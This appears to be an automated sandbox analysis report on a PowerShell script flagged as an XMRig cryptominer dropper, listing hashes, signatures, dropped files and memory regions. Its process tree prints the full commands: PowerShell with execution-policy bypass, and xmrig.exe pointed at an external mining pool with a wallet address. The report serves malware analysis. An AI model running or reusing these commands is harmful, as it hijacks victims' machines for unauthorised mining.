Resubmissions

27-05-2024 18:28

240527-w4c4xsdc7w 10

27-05-2024 18:28

240527-w4c4xsdc7v 10

27-05-2024 18:28

240527-w4cs6aed49 10

27-05-2024 18:28

240527-w4cs6aed48 10

27-05-2024 18:28

240527-w4cs6aed47 10

27-05-2024 18:28

240527-w4c4xsed52

Analysis

  • max time kernel
    1799s
  • max time network
    1790s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    27-05-2024 18:28

General

  • Target

    file01 - copia (2).ps1

  • Size

    510B

  • MD5

    2dcb4d51653aec1a829f3232d69f5e12

  • SHA1

    dd096e7d800b9f3ca0edc64955b4464d71789f80

  • SHA256

    d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c

  • SHA512

    7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 42 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (2).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4092
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:64

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zzfm23er.nur.ps1
    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
    Filesize

    3.6MB

    MD5

    6ceda7ef7937d647f4640fdde8f69e68

    SHA1

    061dc76d2869e4f6af0277cfca3ee1add96c6937

    SHA256

    c3f59fa575df56481efe50cd65781cadd7dfdecba66aa01c396a89446c619bb2

    SHA512

    1495eb20a9340505f4f9b232dc2faff53e98c730569e06d239c47cf9646233b7ea0451f94017ce461092b866c7de85c0de41f69a09c0ba06a2420ff00242bb1c

  • memory/64-118-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-153-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-92-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-156-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-155-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-154-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-119-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-152-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-151-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-150-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-149-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-148-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-147-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-146-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-96-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-90-0x000001FFB3EF0000-0x000001FFB3F10000-memory.dmp
    Filesize

    128KB

  • memory/64-98-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-99-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-100-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-101-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-102-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-103-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-104-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-105-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-106-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-107-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-108-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-109-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-110-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-111-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-112-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-113-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-114-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-115-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-116-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-117-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-97-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-91-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-131-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-121-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-122-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-123-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-124-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-125-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-126-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-127-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-128-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-129-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-130-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-120-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-132-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-133-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-134-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-135-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-136-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-137-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-138-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-139-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-140-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-141-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-142-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-143-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-144-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/64-145-0x00007FF620CA0000-0x00007FF6218D3000-memory.dmp
    Filesize

    12.2MB

  • memory/4092-95-0x00007FFA56F60000-0x00007FFA5794C000-memory.dmp
    Filesize

    9.9MB

  • memory/4092-94-0x00007FFA56F60000-0x00007FFA5794C000-memory.dmp
    Filesize

    9.9MB

  • memory/4092-93-0x00007FFA56F63000-0x00007FFA56F64000-memory.dmp
    Filesize

    4KB

  • memory/4092-48-0x000001B7A0110000-0x000001B7A0122000-memory.dmp
    Filesize

    72KB

  • memory/4092-61-0x000001B7A0100000-0x000001B7A010A000-memory.dmp
    Filesize

    40KB

  • memory/4092-25-0x00007FFA56F60000-0x00007FFA5794C000-memory.dmp
    Filesize

    9.9MB

  • memory/4092-8-0x000001B7A0130000-0x000001B7A01A6000-memory.dmp
    Filesize

    472KB

  • memory/4092-20-0x00007FFA56F60000-0x00007FFA5794C000-memory.dmp
    Filesize

    9.9MB

  • memory/4092-9-0x00007FFA56F60000-0x00007FFA5794C000-memory.dmp
    Filesize

    9.9MB

  • memory/4092-3-0x00007FFA56F63000-0x00007FFA56F64000-memory.dmp
    Filesize

    4KB

  • memory/4092-5-0x000001B79FF80000-0x000001B79FFA2000-memory.dmp
    Filesize

    136KB